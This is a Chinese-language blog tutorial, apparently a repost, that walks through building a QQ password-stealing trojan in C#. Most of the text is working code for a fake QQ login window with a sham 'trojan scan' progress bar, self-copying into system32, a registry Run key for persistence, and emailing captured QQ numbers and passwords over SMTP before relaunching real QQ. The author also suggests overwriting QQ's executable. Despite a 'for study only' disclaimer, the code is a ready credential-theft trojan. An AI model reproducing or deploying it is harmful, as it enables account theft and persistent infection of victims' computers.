聲名:以下代碼僅為學習研究之用,如有利用與其他之用,任何后果與本人無關!
開始我們創建一個工程名字叫VirTest,我們先做一個與QQ登陸界面一樣的的界面出來如圖所示:
在linkLabel我們填加如相應的web地址,這一步我就不說了.
為了做的更逼真,我決定把查殺木馬也做了,我在這個界面放了2個重疊的panel分別是:


這兩個panel是重疊在一起的他們的visbile屬性應該是互斥的.點擊查殺木馬的時候進度條肯定要走,我這里用一個for循環讓他動起來,查殺木馬button的click事件代碼如下:
?/// <summary>
??????? /// 查殺木馬
??????? /// </summary>
??????? /// <param name="sender"></param>
??????? /// <param name="e"></param>
??????? private void button1_Click(object sender, EventArgs e)
??????? {
??????????? panel3.Visible = true;
??????????? panel2.Visible = false;
??????????? this.Size = new Size(330, 308);
??????????? this.Enabled = false;
??????????? for(int i=0;i<10;i++)//步進為10
??????????? {
???????????? System.Threading.Thread.Sleep(1000);
???????????? progressBar1.Increment(10);
??????????? }
??????????? //進度條回零
??????????? progressBar1.Value = 0;
??????????? this.Enabled = true;
??????????? panel3.Visible = false;
??????????? panel2.Visible = true;????????
??????? }
然后呢,我們來寫Form1_Load事件,既然是木馬程序,那么就要有兩個基本特征:自我復制、開機自動運行.代碼如下:

這里我們先申明兩個全局變量:
??????? //QQ的路徑,PS:這里的路徑是隨便寫的后面我們會到注冊表里去找QQ的實際地址的
??????? string QQPath = @"C:\\Program Files\\Tencent\\QQ";
??????? //注冊表
??????? RegistryKey HKLM = Registry.LocalMachine;?
private void Form1_Load(object sender, EventArgs e)
??????? {
??????????? /*復制數量*/
??????????? const int TOTAL = 1;
??????????? int _count = TOTAL;
??????????? // 正在運行的程序路徑和文件名
??????????? string _file = Application.ExecutablePath;
??????????? // 正在運行的程序路徑
??????????? //string _path = Application.StartupPath;
??????????? //復制路徑
??????????? string _path = "C:\\WINDOWS\\system32";
??????????? // 正在運行的程序文件名
??????????? string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower();
??????????? try
??????????? {
??????????????? _count = int.Parse(_name.Replace(".exe", string.Empty));
??????????????? _count--;
??????????? }
??????????? catch
??????????? {
??????????? }
??????????? finally
??????????? {
??????????? }
??????????? // 目標文件
??????????? string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000"));
??????????? if ((File.Exists(_file)) && (_count > 0))
??????????? {
??????????????? try
??????????????? {
??????????????????? // 復制
??????????????????? FileStream _fileStream = File.Open(_file, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
??????????????????? byte[] _buffer = new byte[_fileStream.Length];
??????????????????? _fileStream.Read(_buffer, 0, _buffer.Length);
??????????????????? _fileStream.Close();
??????????????????? // 如果目標已存在，刪除
??????????????????? if (File.Exists(_target))
??????????????????? {
??????????????????????? File.Delete(_target);
??????????????????? }
??????????????????? // 粘貼
??????????????????? FileStream _writer = File.Open(_target, FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.None);
??????????????????? _writer.Write(_buffer, 0, _buffer.Length);
??????????????????? _writer.Close();
??????????????? }
??????????????? catch
??????????????? {

??????????????? }
??????????????? //開機自動運行
???????????????
??????????????? RegistryKey Run = HKLM.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run");
??????????????? bool Started = true;
??????????????? if (Started == true)
??????????????? {
??????????????????? try
??????????????????? {
??????????????????????? Run.SetValue("VirTest", _target);
??????????????????????? HKLM.Close();
??????????????????? }
??????????????????? catch
??????????????????? {
???????????????????????
??????????????????? }
??????????????? }
??????????????? else
??????????????? {
??????????????????? try
??????????????????? {
??????????????????????? Run.DeleteValue("VirTest");
??????????????????????? HKLM.Close();
??????????????????? }
??????????????????? catch
??????????????????? {
??????????????????????? //
??????????????????? }
??????????????? }???????
??????????? }

??????? }

在這里我們把我們的程序復制到了C:\\WINDOWS\\system32這樣更象個木馬,并設定了開機自動開啟,但是有一點要注意的是現在幾乎所有的防火墻都會保護啟動項的所以這樣是過不了防火墻的.當然最毒的辦法就是直接覆蓋QQ的原來的那個文件(呵呵).
最后我們來寫登陸button的click事件，代碼如下：

/// <summary>
??????? /// 登陸
??????? /// </summary>
??????? /// <param name="sender"></param>
??????? /// <param name="e"></param>
??????? private void Login_Click(object sender, EventArgs e)
??????? {
???????????? //發送結果
??????????? try
??????????? {
??????????????? MailMessage mail = new MailMessage();
??????????????? mail.From = new MailAddress("", "");
??????????????? mail.To.Add(new MailAddress(""));
??????????????? mail.Body = "QQ號碼：" + UserIdbox.Text + "\r\n" + "密碼：" + PASSword.Text;
??????????????? mail.Subject = "QQ密碼";
??????????????? SmtpClient SmtpMail = new SmtpClient("");
??????????????? SmtpMail.UseDefaultCredentials = false;
??????????????? SmtpMail.Timeout = 20000;
??????????????? SmtpMail.Send(mail);
??????????? }
??????????? catch? { }
?????????????//搜索注冊表
??????????? try
??????????? {
??????????????? RegistryKey SearhPath = HKLM.OpenSubKey(@"SOFTWARE\Tencent\QQ");
??????????????? QQPath = SearhPath.GetValue("Install").ToString();
??????????? }
??????????? catch { Application.Exit(); }

??????????? //關閉已經打開的qq，重新開啟qq
??????????? string name = "QQ";//程序進程名稱
??????????? Process[] prc = Process.GetProcesses();
??????????? foreach (Process pr in prc) //遍歷整個進程
??????????? {
??????????????? if (name == pr.ProcessName)? //如果進程存在
??????????????? {
??????????????????? try
??????????????????? {
??????????????????????? pr.Kill();
??????????????????? }
??????????????????? catch { }

??????????????? }
??????????? }
??????????? try
??????????? {
??????????????? //調用QQ
??????????????? Process MyProcess = new Process();
??????????????? MyProcess.StartInfo.FileName = QQPath + "QQ.exe";
??????????????? MyProcess.StartInfo.Verb = "Open";
??????????????? MyProcess.StartInfo.CreateNoWindow = true;
??????????????? MyProcess.Start();
??????????? }
??????????? catch
??????????? {

??????????? }
??????????? Application.Exit();
??????? }

這里呢，我隱去了我的郵箱和SMTP的地址，這個是可以自己填寫的！我們把填寫的帳號和密碼就傳回了自己的郵箱了，并且關閉了已經打開的QQ,重新啟動了QQ.關閉木馬程序．這樣簡單的木馬就大共告成了．
好了，休息休息一會兒！
程序下載

轉載于:https://www.cnblogs.com/kingnewroad/archive/2008/01/31/1060032.html

總結

以上是生活随笔為你收集整理的一个QQ盗号木马是这样诞生的(C#)的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。